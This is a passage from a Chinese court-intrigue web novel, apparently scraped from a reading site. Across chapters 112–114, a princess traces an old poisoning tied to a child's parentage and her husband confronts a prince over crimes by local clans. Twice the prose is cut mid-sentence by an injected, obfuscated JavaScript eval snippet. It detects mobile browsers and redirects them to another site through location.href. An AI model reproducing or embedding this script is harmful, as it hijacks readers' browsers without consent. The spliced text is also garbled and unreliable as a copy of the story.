郇寰折折袖子,缓缓起身,垂眼睨着寇敏中攥紧的拳头,“三姓,还是太过分了,这次走运,来的是我,下次办砸了事,案子落到了谁的手,那就说不定了了。” 他本要多嘴一句,点一点他们,让他们知道他们的行径并非天衣无缝,不惧怕他这个年轻人,也得怕一怕那些藏于幕后的谋算者。可话到嘴边,郇寰却想到了自堕泥沼、自褪羽毛、自毁长城的王启丰,想到了一生清明执着、最后死得那些惨烈的周舱,想到了尝胆多年、生死不惧的熊家鼐,想到那些朝着虚妄磕头哭诉的百姓。 三姓不会收敛的,纵欲是刻入骨子里的习惯,是他们眼中的道。多嘴只会让他们多心,他们多心,就会多杀更多无辜之人。 他们是六亲不认、是非不分、善恶不问的嗜血巨兽。 而自己,助纣为虐,也与禽兽无异。 郇寰咽下上涌的血气,最后留下一句话:“饮水思源,若真是为了赵王好,你们当及时收敛。” 说完,他弓身施礼,回身走入堂屋,见隐没黑暗之中的寇家侍卫已悄然拔剑,冬至也正挟持着寇家长孙,与他们无声对峙。 夜中小酌,终止于兵戎相见。 片刻,寇敏中的声音从廊下幽幽传来:“让他们走。” 步出院门,就听院内一声巨响,杯盘碎裂,木案中断,水声相杂。 “回京吧。” 112. 第一百一十二章 鲁纯学 余回春从吹胡子瞪眉毛大喊大叫的老头,变成泣不成声的一堆嶙峋瘦骨,其间只需要一个被养得又白又胖的巽山道人。 沈明枳抵达时,见到的就是师徒俩抱在一起痛哭流涕的情景,默默让所有人退守门外,自己捡了一块干净地方坐了,耐心等待这两个老头筋疲力尽。 就是时间仓促,还没来得及通知太医院的孙先生,不然这场面会更壮观。 不错,已经假死的巽山道人就是余回春心心念念放心不下的叛出师门的宝贝小徒弟,而孙先生的恩师恩人温夫人也是余回春的爱徒。 余回春不会四处宣扬自己有这样一个助纣为虐的孽徒,巽山道人也不会狼心狗肺主动玷污师门,但棍棒刀枪,总有一个能让巽山道人乖乖说话。而沈明枳逼问巽山道人的契机,全赖于巽山道人不打自招的一系列罪状。 沈明枳南巡一路中的乱七八糟的毒,全都出自西南神女庙巽山道人门下,因为这些毒极其霸道凶悍,买家又不是常常来进货的老主顾,时间又不算久远,是以巽山道人还有不少记忆。 这些毒,其中就有不少是巽山道人还拜在余回春门下时,与师姐温夫人闲暇时一同研制消磨时间的产物,所以在巽山道人知道从不收徒的温夫人有了一个哑巴徒弟前,能大放厥词说世界上除了他和温夫人没有人能解开这些毒。但在此之前,已经有两个人给出了消解此毒的极好药方,一个是南巡途中捡到的孙先生,还有就是余回春。 随即就上演了一出师叔师侄相认的单方感人大戏,因为对温夫人的师门往事一无所知的孙先生根本无法与这个毒蝎子似的老头共情,而巽山道人在得知温夫人已经身陨多年后,感慨万千,也不再遮掩隐瞒,直接将师门交代得一干二净。 至此,所有围绕毒药的疑惑真相大白,这对师徒的作为也着实令人唏嘘,徒弟制毒危害四方,师父行医拯救苍生,异域相逢都是白发苍苍,不是同样的岁数却是一般的苍老。 沈明枳不管他们如何去泯恩仇、如何去诉衷肠,她只是咳嗽两声,不去看他们脸上纵横的老泪,直入主题问余回春鲁纯学之母何时中毒、中的什么毒。 余回春揩过脸只顾着叹气,被巽山道人扶起来时还长长看了徒弟一眼,巽山道人立即知道又与自己有关,心知师父这么多年奔走劳累,全是为自己赎罪去了。 余回春打了一个揖:“回国主,是升平十二年的春天,鲁小公子是升平十二年冬出生的。” 沈明枳眉头紧蹙,余回春又叹了一口气细细说来。 当年余回春与余家的关系更加密切些,每年过节都会入京给宫中的余美人请安。 “当时老夫就要走了,临行时被东宫太子妃请了过去,给一位不知中了什么毒的婢女看诊。”余回春又看了一眼巽山道人,“老夫试着给她解毒,又发现那婢女已经有了身孕,这就不是老夫能掺和得了的事了。”余回春朝沈明枳又是一拜。 沈明枳咬牙让他继续说。 “这孩子必然是要不得的,但最后还是生了下来,就是鲁纯学小公子。听故太子妃说,这婢女是已经放出宫去了的,回来看望旧主才不幸中了这毒。老夫也知道故太子妃是怕老夫向余家那边说了不该说的,才向老夫解释……” 但余家最后还是知道了这桩秘闻,只不过情节被余回春修剪过了,余家只知道日益显赫的鲁向笛的独子是余回春救治的,也享受到了日后羽林卫指挥使的报答,并不知道还有中毒这一番前传。 沈明枳捏着掌心,指节泛白。 谁会向一个岌岌无名的宫女投毒?故太子妃为何会为了一个宫女的生死铤而走险延邀余回春?沈明枳甚至从余回春话里话外的揣测中,要去怀疑鲁纯学究竟是不是鲁向笛的儿子。若鲁纯学当真不是鲁向笛的儿子,他又会是谁的儿子? 沈明枳几乎不敢继续深想,害怕坠入这个永夜的魔窟。 但窟中总有一双双手要将她拽下去,要将她的皮肉撕裂,要让她的灵魂浸淫其中不得自由。她侥幸爬到了边缘,离那黑黢黢的深洞远远的,以为自己逃出生天了,可以躺在这如同悬崖的平地暂时喘息,但那魔窟忽然飘出了一脉低吟,唱的是江南的《采莲曲》,如同胜日寻芳的大姐姐,在得到情郎的回应后拉上她在会芳池划桨时唱的那样,总在吸引着她去偷看一眼那窟中天地。 她很累很疲惫,但她还是爬了起来,一步步走向那已知的危险,只为了将故人之音再听得清楚些。但随她一步步靠近,那声音又一步步变换,骤然一声凄厉的尖叫打碎了她对所有美好的幻想,她认得这个声音,还是她的大姐姐。 沈明枳想到了那个大雪天。 她拼命地冲了过去,只在那宛如一盆滴满了墨汁的窟中,看见了大姐姐染血的脸庞。 随即这盆黑水立即被大姐姐脸颊滴下的血珠染红,一声声来自记忆深处的嘶喊随着血色充斥双目而充斥双耳,有崔选侍的,有梅问香的,有皇后娘娘的,她们无不是伤心欲绝、生不如死。直到沈明枳以为自己在这样的动荡之中,也要死了,支应不住跌了进去,耳畔眼前却忽然清明起来了。 她又摔回了那一天,套着韦不决壳子的窦宙,东宫丽正殿的偏殿外拦她。她还是推开门摔了进去,可这次她没有尖叫,因为铺展眼前的长袍上绘有日、月、星辰、山、龙、华虫,绣有宗彝、藻、火、粉米、黼、黻,五采彰施于五色,为天子衣袍。 沈明枳一眼就认出这个熟悉的背影是故太子而非圣上。 玉带、禁步杂乱抛弃,唯有冠发整齐,但兴许也被人拽过,随着衣袍之下急促的起伏那一丝不苟的发冠也在摇摇欲坠。忽然有一只苍白的手攥住了这熨帖的衮袍,让那精巧的纹路都起了皱,随着涂了丹蔻的指甲深深刮扯着布料的,还有一声交缠着的抵死缠绵的男女低喘。 沈明枳匍匐在地,整个人都呆住了。 他们似是都对这场云尤雨殢极其满意,恋恋不舍地分开了彼此,然后就见这个拥有如故太子一般无二的背影的男子转过了头,胸前被腐蚀出了好几个勾连在一起的黑窟窿,正空荡荡地盯着自己,而这个男子,似是感觉不到身上的缺憾,直白地要朝跌坐在地的沈明枳伸出手,他一身凌乱的衮袍也在沈明枳看清他眉眼的时候赫然变成了二品文官绯袍,随着不知何处吹来的一股妖风邪气,一阵熟悉的气息从广绣大裳中扑面而来。 沈明枳倏然睁开双眼。 眼前是熟悉得不能再熟悉的帷幕帐顶。 她坐起,抹了一把冷汗,掀开被子时直觉寒意逼人,哆嗦一声后沙哑着嗓子扬声唤起了月珰。 帷帐挑起,夏至随着通红的烛光一同走进室内的蒙昧,“殿下怎么现在就醒了?才寅时末,今夜是奴婢当值。” 沈明枳被这室外的凉风一激,彻底清醒,但温暖的被窝已经被沾上了冷汗的湿腻,她无论如何也呆不下去,便拢了头发起身,“梳洗吧,不必惊动她们。” 夏至点了灯,暖了火炉,捧出隔夜就准备好的衣物侍候沈明枳换上。 “殿下一会儿随七公子一起用早膳吧。” 沈明枳呵出热气,眼里尽是惋惜:“七郎是上进的,只可惜现在还不能出府读书。” 郇寰本人还是郇七郎这个年纪时,就已经被老侯爷活络关系塞到菁明书院混日子了。早几年郇寰也不是没有谋划过让郇七郎早早出府读书以远离家中腌臜,但朝局动荡,让他一时半会儿腾不出手来疏通,随后又逢柳氏病逝,三年孝期便将郇七郎的科举彻底困在原地,他想要谋划也没地方施力,致使郇七郎淹留至今。 夏至宽慰道:“殿下与驸马都有大才,驸马又常常延请名师来府,教七公子是绰绰有余,七公子又上进,何愁将来科举无路?” 沈明枳勾了下唇角表示对她好意的心领,但又有说不尽的自嘲从中流露,让这个笑失去了本该有的作用,直提醒心思细腻的夏至,她又说错话了。 夏至转而笑,干巴巴地道:“殿下今日与临川郡主相约去迎接申二夫人回府,可备了什么礼物?” 自从与余回春师徒见过一面后,沈明枳每天都精神不济,入夜便昏昏欲睡,半夜又被噩梦惊扰,一天天地安生日子过得还远不如赶路途中的疲劳日子,成天浑浑噩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308411|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 噩,只记得今天要去接辛莘,其余礼物什么的礼数一概未考虑,月珰又忙于处理两府出冬事宜,也是被架在火上烤的人,也没工夫替沈明枳未雨绸缪。 “你的眼光是娘娘都夸的,帮我选吧。” 夏至笑着应下。这回是真的高兴,因着沈明枳这么久后头一次能提到皇后娘娘而面无哀色。不仅是皇后娘娘,与坤宁宫、东宫有关的一切故人都是哀伤,旁人看不出沈明枳哀,但她的肃穆就是她不能说的哀,夏至陪她这么久,对沈明枳这些神情的理解不亚于昼夜相伴的月珰。 但这如何是沈明枳打开了心结? 是因为有更胜于此的哀与伤,让小巫见大巫,拔茅而弃,此其所以终身弗如。 沈明枳叹息。 郇七郎饭过与她闲话片刻,解了她的瞌睡,又让她起了紧迫意。不错,郇寰手头的案子结了,现在已经在回程的途中,她要给出交代的那一天终究要来了。 郇七郎起身告退,正遇见呈着汤药前来的冬儿,那苦味极重,熏得整条廊道的人都皱起了鼻子,他止步打搅,“冬儿姐姐,嫂嫂病了?” 冬儿小心蹲身回礼:“这只是调理身体的汤药,殿下身子一直都不大好,所以要常常调理,以前也喝药的,只不过这次的更难喝了点。” 郇七郎点点头,未曾多想,回了礼就回书房晨读去了。 “殿下,该喝药了。”冬儿进屋时就见月珰接了外头递来的简信交给沈明枳,沈明枳一边用手展开那卷起来的一小张字条,一边从自己手中接过药碗,仰头一饮而尽,仿佛那只是一碗白水,目光始终没有离开那窄窄纸上的字迹。 冬儿好奇,但还是不敢僭越窥伺,更兼月珰先她一步接过药碗,和她一起收拾了桌上碗筷,她更不敢冒犯了。 沈明枳叫住了打发冬儿出门的月珰,“去安排吧,早点给他通消息做准备,但也别让他等太久耽误时间。” 月珰应声,接过那张字条便退了出去,招呼了立在门外等候吩咐的夏至进去,自己便立即前去递信。 “殿下,礼物都备好了。” 呆坐了片刻的沈明枳起身,“去套车,我们现在去接临川。” 夏至一愣:“现在?” 沈明枳披上裘衣,“不过是走个形式,越早了结越好。” 这个夏至知道,沈明枳为了防止旁人起疑,有时会借着与临川郡主相会的名头掩人耳目。但这个“旁人”其实就仅仅指同在一个屋檐下的驸马郇寰。 从前驸马总会在殿下身边光明正大地安插“耳目”,是为了殿下的安危着想,但也的的确确妨碍了殿下做事;后来驸马将人全都撤走了,殿下里里外外将自己人也筛查了一遍,确保身边都是心腹后,这样的习惯还是没有改掉,也是谨慎起见。 就是今日这个形式走得有些久,绕路去接了睡眼惺忪的临川郡主后还要千里迢迢地去城外接辛莘,再回到城中随申家车架到申国公府上小憩后,沈明枳已经面白如纸。 临川端着她的脸看了又看于心不忍,“要不我们还是找个地方休息休息?这离你府邸还有段路。” 此话正中沈明枳下怀,临川探出车窗往路边一张望,大喜过望:“欸,这家‘风憩’是我名下的茶楼,我们就上这儿坐坐吧。” 沈明枳揉着太阳穴,“依你依你。” 兴许是双脚落地呼吸到新鲜空气,沈明枳的不适缓解了不少,上楼的一路还能附和起临川对城中时事的评点,说到长英下个月的生辰宴,临川滔滔不绝,拉着沈明枳进了顶楼大敞着门的一间雅室,没管擦着汗焦急跟上来的掌柜惶恐成了热锅上的蚂蚁。 沈明枳看见门旁挂着的牌子,也料到了掌柜定然大冬天汗如雨下,但她将错就错。 这也不能怪临川,这顶楼就两间雅室,都是极品上房,寻常人进不来,一间大敞着门,一间紧闭着门,但凡是个正常人都会以为后者已经有客。但这样的正常人都太自负了,现在是冰天雪地的日子,掌柜早早准备好的屋子里已经烧上了上好的金丝炭,关上门来就是防止暖气逸散,是故后者才是精心准备待客。 113. 第一百一十三章 尴尬事 “我打听过了,圣上给长英拟的名单是真用过心,年轻才俊,家世相貌品性,还有平素爱好,这详尽程度绝对不亚于你当年。”临川自己带上了门,直接占了上座,搓了搓手打量了这又暗又冷的周遭,不由得怨怼了一句。 沈明枳也环顾四周,目光只在最里边的一面隔绝窗台的屏风上略作停留,随机接话:“这又如何。” “是,这又如何——”临川向来不畏寒,但此时也抵不住寒凉,从袖子里掏出手贴上了沈明枳捧在手中的暖炉,笑嘻嘻地蹭她的温暖,“你当年还不是看上了什劳子的郇海山,名单之外,任谁都没想到最后脱颖而出的是这个家伙。” “想来赵王妃也花了不少心思。” 临川不屑:“是啊,她当然要花心思了,前面两个小姑都折在了这上头,只剩下他最宝贝的长英……圣上也是白忙活,最后点头的人还得是窦晴柔,连你那好哥哥赵王都未必说得上话。” 沈明枳微微笑:“最后点头的还不知是谁呢。” 临川挤眉,盯着她的笑容几息方才领会到了其中第一层意义:“也是,窦晴柔那么宠她又寄予厚望,如果她不满意,想来窦晴柔也不会强逼。” 沈明枳只是看着她笑而不语。 临川试探着胡言乱语:“怎么?小妮子心思重,已经先斩后奏和人私定终身了?” 这明显又是宣国、长荣之事的后遗症。 沈明枳眨眨眼,示意她猜错了。 临川再大了担子猜:“又已经怀了?”她继续胡思乱想,说得连她自己都被自己的胡说八唬住:“她不会也要学她姐姐那样,挺了肚子去逼婚?但她可是赵王之妹,宫里最小的公主了,这尊贵,这条件,天下还有她用下三滥手段相逼都不肯就范的人?这得什么身份气节?” 沈明枳干笑都笑不出声,倍感无奈,又见临川终于收回了她那可以雨天接水的脑洞,拍案惊叹:“我知道了,她已经偷偷定了,此人非但不在准驸马名单里,还未必愿意当驸马,还不是强逼就能成的,所以最后还得看他点不点头!” 沈明枳十分欣慰,又忍不住要赞临川几声思维精妙:“你的想法——额,挺准的。” “是谁?”临川干脆挤到沈明枳的位子上来,满怀期待地发问。 盛情难却,沈明枳只能神色淡淡地吐出四个字:“西台台长。” 临川的眉毛几乎要跳到天上去,连她的嗓门都不由自主地扬高了:“柳曦既?” 她蹿了下来,在沈明枳面前来来回回地走着,一时惊愕得她都不知道如何表达她这不亚于今日听见祖宗死而复生的惊讶。 其实沈明枳这话很有引导性。照常理,沈明枳应当称呼柳曦既为“柳大人”或者“总宪”,再恭敬些就是“左都御史柳大人”,但她偏要如同那些上了年纪的官混子一样称呼他一声“台长”,让人一想起西台台长,不是当今这个清冷孤高的青年御史,而是那些与圣上一般年纪的臃肿老头。即便随后恍然大悟,缓过神来,“西台台长”这四个字本身沾染的古板死气、油滑习气总归难以和年轻貌美如豆蔻梢头的长英小公主相互般配,好比已经脏在人心的青楼之中出身的舞女与先皇后母族最有出息的年轻公子,无论如何也不是世俗眼中的天赐良缘。 临川晃悠了许久,又凑到沈明枳眼前,两条眉毛一高一低,两只眼睛一睁一眯,整个人都陷入了无限的矛盾中,总算顺着沈明枳吐出了一句话:“她得疯病了?” 沈明枳挑眉,静待后文。 “她这是找夫婿还是找夫子啊?他们家规矩又那么多,他整个人大写着就是‘规矩’二字,还是稽查百官的左都御史,这日子得过成什么样子?一点情趣都没有,柳大人的脸再好看,也不能看一辈子啊!” 沈明枳将临川扳着自己肩膀的手一只只的移开,“你别以己度人,柳大人人品贵重,自然不会辜负发妻,面子里子都有,也就你,眼睛长在头顶上才会大放厥词如此。” 临川别驳了不气反笑,因为沈明枳说她眼高于顶,这不就间接夸了她家的凌云重么?夸了凌云重就是夸她眼光好,那她有什么理由不高兴呢?是故她反倒更加欢腾继续她的狂言:“怎么叫大放厥词?柳大人今年贵庚?长英今年几岁?若柳大人年少有子,这不是夫妻而是公公儿媳!柳大人还是个可以和你家郇海山一教高下的勤业狂魔,这身子早就亏得不成样子,等长英到了三十如狼四十如虎的年纪,这夫妻日子还能过么?” 说罢,临川叉着腰刻意点了点沈明枳的额头,撒酒疯似地摆出了训诫小辈的架子,“苦口婆心”地嫌弃道:“也就是你,端着仁义礼智的架子,满脑子都是礼仪分寸,一点情趣意思都没有,也就郇海山能忍得了你的规矩没有到处花天酒地下你脸面。” 沈明枳磨了磨牙,心中挣扎这厮是炖了还是烤了,方能不负她平心静气忍受的一番折磨。临川自己日子过得滋润,与凌云重恩爱美满,便想着让天下人都能成双成对也恩爱美满,这是好的想法,但随意拉郎便会好事成坏事。 临川说得高兴:“总的来说,那小妮子眼光不错,若是成得了,窦晴柔他们得欣喜若狂,赵王如虎添翼,但柳曦既其实和你是一路子的人,这条路怕是不好走……” 忽然,有咳嗽声从屏风后传来,临川谨慎地一甩头,发间坠着的步摇哗啦啦地响过一通后,有僵硬的人声传来:“额,要不我还是去叫人添点热茶?” “谁!”临川一个箭步冲了过去,待她看清屏风后临窗坐着的客人后,整个人都呆在了原地。 沈明枳起身,两步上前,就见临川差点跌坐在地,不阿面无人色地端着茶壶从屏风后走出,朝她们一丝不错地行了个简单的礼,就强装镇定走出了房间。推开门的刹那,随冷风席卷而来的还有掌柜和外面清一水的惊慌失措。 事到如今,临川死了心思都有了,跌到沈明枳怀里,反手扣上沈明枳的手腕就要将人往外面拖,飞也似的就要往外面逃,却在即将逃出生天时被沈明枳推了一把,回首就见她叹气一声,将门合上了。 这一刻,临川丢了的八百个心眼都找会来重新长好,斜睨着匍匐跪下来叩头请罪的掌柜。 沈明枳回身时,柳曦既已经从屏风后走出。除了未服官袍,他仪容与都察院里寻常模样一般无二,只是嘴唇冻得略微紫了点,日光从屏风后溜出来,斜斜地打在他的脸上,将本就显出几分苍白的脸照出了几分萦久的病气,仿若他整个人随着这束光的消逝就能灰飞烟灭。 “还望大人莫要责怪。” 柳曦既颔首不答,走向方才临川和沈明枳坐过的地方,比出请的手势。 沈明枳与他让坐座,“大人久等了。” “不久,刚来。” 沈明枳敛眉,迅速思忖该如何开口,柳曦既已然从袖中取出了那本册子,递到了桌上,“公主是为了它来的。” 沈明枳神色不变,双手拾起册子,立即翻找了起来。 柳曦既道:“公主如果想知道化隆城中的毒物从何而来,不妨去看长安废都和洛阳东都的购货记录。” 沈明枳手上动作停顿,目光所及是升平十一年长安废都的记载。她已经从巽山道人处知道了这些毒药的具体功效,但能杀人不偿命的毒药千千万万,仅仅这一年长安废都购入的就有二十八种,这册子上又没有记载这些毒药的最终流向,单凭她的臆断,根本没法笃定升平十二年投给鲁纯学母亲的药是谁的手笔。 她甚至连长安废都当地的掌舵者是谁都不知道。 沈明枳略感泄气,但还是咬牙不去问柳曦既,手上又飞快地翻动到洛阳东都的记录。不出所料,这一年洛阳东都处也购进了二十种毒药,毒药名目、数量大抵和 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鲁纯学的事情,她说得很隐晦,隐晦到几乎听不出暗示。但柳曦既不是白痴,又扶持了东宫这么久,如何意识不到鲁纯学身世对整个局面的影响。 故太子最后的血脉断在了吴王手中,若此时让几乎就要发狂的兖国公主知道,故太子还有一个私生子流落西南,她又要不顾一切地搅动起什么风云?又或者,她在这盘棋中留给自己的唯一一丝考量又要被她丢到什么地方? 柳曦既深吸一口气,凝神回忆那已经遥不可及的升平十二年,寄希望于自己残存的记忆能够予他帮助、指他前路。 那个冬天他不在化隆,回来的时候只听韦不决说宫中又有人动了歪心思,只是他无能,还没有查到证据。 “线索又这样断了。”韦不决将石片狠狠砸入水中,激起的水花直溅到了对岸队行的宫人身上,他赶忙抱拳道歉。 “又?” 韦不决冷讽:“你也知道又不是头一次,咱们的殿下就是有福星护佑,那些小人不做实事成天就算计来算计去,是魔要和天道斗呢。” 柳曦既不置一言,并不认同福星高照、神灵庇佑的说法。上一次死了一个内监,这次害了一个宫女,听说那宫女已然被太子妃放出宫去嫁人,经此一劫不知前路如何。心诚则灵,天道公平,神灵庇佑如何会有厚此薄彼,福星高照如何会有高低贵贱,太子安康如何会是神明祖宗之功,是拱卫四周的凡人之效,魔与天斗,实为人与人斗。 韦不决的牢骚不绝。 谋害东宫这样的重罪,放眼朝野,又有几个人敢担?圣上其余的皇子都远离中枢,但他们的羽翼尚在。太子决意仿效祁黄羊“外举不避仇内举不避子”,在无有十成把握和证据的情况下,不愿向这些皇子和他们的党羽举起屠刀,更兼这些人中的的确确有经纶世务之才,因着惜才二字,疑罪从无,宽大处理,这就苦了如梅如故一样焦头烂额的他们…… 柳曦既平复下来。 “说说已有的线索吧。” 韦不决更加生气:“这算什么线索!也就是事发前一天宣国公主入宫给寇妃请安,有人瞧见她在御花园逛了好久——”韦不决的眼神瞟向那条被重兵把守的小路,示意宣国公主在那条小路附近徘徊很久。 宣国公主! 苦思良久的柳曦既骤然睁开眼。 先且不论鲁纯学的身世,就这下毒之人他们可以先一步慢慢查清,以此转移沈明枳的注意也未尝不是好事。长安废都的毒窝掌舵者是靖安侯齐家,升平十一年洛阳东都所进的毒药依照卢有孝所存的记录,无有一例可以对上东宫投毒,暂且排除其他小作坊的毒药搅弄浑水,矛头直指即可能就是真相。 他当年是如何应对嫌疑越来越大的赵王?不,他根本没有应对。 那现在呢? 114. 第一百一十四章 庞然物 说出宣国公主的名头,在沈明枳眼中无疑就是坐实了赵王派谋害东宫,即便她心思不纯,但这对已经嫁给郇寰多年的她来说,真的会是一个出手的好借口么?她出手之后,还会有什么他柳曦既与梅如故都兜不住的后果么? 柳曦既忽然冷笑了一声,如实地将齐家与宣国公主之事说了出来。 他柳晢不欠任何人的,他没必要为之殚精竭虑。 沈明枳目光一凝。 这一天终于来了。 “多谢柳大人。” 柳曦既只是问:“这些事情,公主决心要瞒着梅如故?” 沈明枳稍稍怔愣,理清楚“这些事情”指的不仅仅是升平十二年的投毒案,还有吴王与梅问香,她点头。东宫这些旧臣中,梅如故与之羁绊最深,他知不知道、参不参与,于沈明枳的打算并无半分影响,唯一会摧毁的,只有他自己的心情。 沈明枳总不希望他们伤心。 她起身朝柳曦既一拜,“多谢柳大人。” 但柳曦既已经知道了,沈明枳只希望他不要为难。 柳曦既只坐着不动,并不欲受她的礼。瞒与不瞒,总有一天梅如故也会知道的,又或者,他早就知道。 沈明枳立直身板,突然岔开这个话题:“下月十八是长英的生辰,柳大人会接到请帖,届时无论大人去不去,下月十五宫宴我都会提上一句,这算是我给长英的礼物。” 柳曦既微微睁大了眼。 沈明枳避开他的目光继续道:“她已然知道柳大人当年一心向国不意成家……” 柳曦既眉头一蹙。这是委婉地说,长英公主不知从什么渠道得知了当年,他受沈明枳指使去圣上面前拒婚之事。结果现在,沈明枳要到圣上面前,“提上一句”,提一句长英公主邀请了自己让自己无法推脱?提一句以展现他们真的什么余情也没有?兖国公主是松快了,可以将所有莫须有的嫌疑撇得一干二净,但他又不傻,去了这场生辰宴又意味了什么,郇海山就是先例。 但就冲“西台台长”这四个字,他就能猜出,沈明枳其实并不希望他和长英公主有什么牵扯,东宫旧臣转投赵王麾下这也是绝对不允许的事情。可这完全是慷他人之慨,将烦恼都抛给了自己。 沈明枳最后朝他一拜,“还望柳大人坚定地走自己的路。” 不要掺和进来,不要被牵连进来。 柳曦既不送客,客也走了。等整座雅间都恢复初时的冷寂,他重新走到了屏风之后。 这儿真冷。 不阿提着热茶进来打了个哆嗦。 郇寰进书房的时候,与赵王对坐争执着朝中大事的是三四个老臣。其实根本说不上是争执,在这些人面前赵王端的是十足十的小辈的礼,举止措辞都不会有半分凌驾,更不必说高声呵斥、中途打断等等有失他礼贤下士作风的举动,仿佛声音再轻些、姿态再谦和些,他就能顺利地成全贤王德王的一番自勉。 郇寰扫了一眼,都是熟悉面孔,寇德中就坐在其余三个人的最上首。 他们走的几乎都是荫封推举的路子,状似稳妥地干上几十年光荣告老,最后当不成廉洁奉公的骨鲠之臣也能松松快快地颐养。后世为之立祠刻碑,荣华加身、名载青史的一套走上一遍,倒少有人会去追究他们戳翻了多少艘激流勇进的船、捅了多少明火执炬闯夜路的人、昧下了多少赈灾救命的粮,只因为他们有女娲炼石补天的能耐,能让人心所向,俱是己类。 仆役先一步前来禀,但屋中人还是被最后一步跨入门内绯袍加身的郇寰,慑在原地。并非他有多么凶神恶煞,而是他那不加收敛的威压之意太过嚣张,连天家血脉、威严自成的赵王都有一瞬的惊心。 郇寰略过老头们不悦的脸色,朝屋内所有人依次分毫不错地行过礼,让他们甚至连借礼数不足训斥晚辈的惯用伎俩也使不出来,然后就直起身,淡淡地望向被自己身影笼罩的赵王。 赵王本就被这些老头逼得招架不住,见了郇寰这身官袍大喜过望,但观之神色不佳,又注意到这些为老不尊的家伙像是要上前与他撕咬,连忙起身,清了清喉咙缓解了紧张,笑着来迎伫立门口的郇寰:“啊,海山回来了,刚从宫里来吧,正好,奔波了这些天也该累了,额,本王也许久没有与你说话了……” 有愿意让步的老头顺势起身告辞,赵王与之客气但隐隐有逐客意,剩下的也不便强留,譬如寇德中,绷着一张脸甩袖而去,但却不打算善罢甘休。 日后纠缠必然还是有的,但现在能暂得喘息也好,赵王如是想着自然地扯了扯郇寰的袖子,向他让座,已然是在长辈面前屈膝惯了再伏低做小来哄一哄心中有气的郇寰也没关系的样子。 殊不知,郇寰本来还能控制住的三分怒,现在已经蹿成了七分。 赵王亲自为他斟茶,只为了缓解气氛逐渐冷下来的尴尬。 郇寰攥了茶杯,热茶燎着喉咙直灌下肚,似是将他堵在心中的怒也带下去几分,等他能平心静气地开口说话时,才感觉到这烫出的疼痛有多么难熬,“零州三姓之事,您是什么时候知道的。” 赵王心里叹气。 “是今年,还是很久之前。” 赵王将心里气叹出了身。 郇寰心里有了答案。若他是个习武之人,此刻用内力应该已经将手中这只价值不菲的杯子捏为齑粉,但即便他有化玉石为齑粉的能力,他也不能够。蛮力解决不了任何事,只有一腔怒火连空有蛮力都弗如。 他开口时对赵王,几乎是下意识地要称呼“殿下”,就像往常一样,但此刻他又犹豫了,因为他想到了沈明枳,故而他停顿了一息方才将“您”这有敬而失近的字眼安在了开篇话首:“您知道他们做的,是什么事么?” 郇寰并不等待赵王的答案,因为只要他一闭上嘴,注意力重新集中在零州的日夜,他肋下腰间的那一刀就会撕心裂肺地痛,即便这道伤口本身的痛不能将他打垮,但他总有整个人都要崩塌的幻觉。 和寇敏中翻脸时,他尚且从容,可现在,谋财害命、杀人放火、党同伐异,这些司空见惯的事情积聚在一起,重回化隆,竟然会有让他质疑自己的冲动。 他很少质疑自己的决定,因为他总能找到充足的理由说服自己。 粗浅地讲,法道寺被端,那些曾经进香得子的妇人必然前路灰暗,但若法道寺仍存,便会有更多无辜妇人牵连受害。 凭着他在刑部的这么多年兢兢业业,他知道这里面的底细不是常人可以一探究竟的,但他咽不下这口气,也不知道这些人借了赵王的势究竟在做些什么株连九族的勾当,故打算一查到底。 最后他放过王启丰这样危险的人,也全是周舱之死对他的撼动,因为他有信心,只要赵王不倒,王启丰就翻不出什么浪花。 他郇海山是个骄傲得自负的人。 就如寇敏中所说,他年少得志,最维护于规矩法度以维护自己的体面,与周舱这样的人最为相似。但其实,早早入了官场,混了这些岁月,他其实并不反对以寇敏中为首的三姓之家所持的观念,反对的是他们役规矩法度所服务于的欲望。 其实对他来说,他也是这样的人,规矩法度不过是手中工具,为的就是实现赵王践阼的目的。为了实现这个目的,三姓之家心中不忿,最后还得识相地容忍他查到这个地步而他项上人头平安;为了实现这个目的,他也能容忍他们知法犯法作恶一方,因为他还记得那年,他决心站到赵王旗下时,他郇寰就注定当不了一个循吏好官,他认! 但零州当地的所作所为,真的是为了赵王派的利益么! 他稍微一掀这样的伤疤,什么陈年旧案、离奇死亡、杀人越货、为非作歹一溜烟都像得了召唤自己跑了出来,扎堆地往他眼前挤,血淋淋地只在向他炫耀:零州方寸之地,俨然就是世外的小朝廷,世家大族就是王法,人命道义全是放屁。 金银财宝进的谁家仓库、歌舞丝竹入的是谁认耳目,更兼强抢霸占,替谁享的极乐替谁纵的声色。 世俗意义上,他们知善恶却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350709|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明对错,实际上,他们在用自己的、烂透了的是非对错观,去奴役、去修正、去逼迫外界符合他们的价值理念。所以这么看,赵王也不过是他们实现欲望的工具,出了事情,求的是赵王情面,担的是赵王责任,若赵王不争,他们也会逼着他去争,若赵王出事,他们也会断然抛弃另寻出路。 这就是三姓之家。 郇寰不觉自己开口,已有泣血意,字字无力却字字正入赵王眉心,直指着面南背北的屋内大堂,“他们行的事,可以要了零州四品知府和我刑部二品尚书的命!您知道了吧。” 赵王慌乱上前:“海山你受伤了,伤得重不重……”他的关切不是作假,他的回避又让郇寰倍觉扎心。 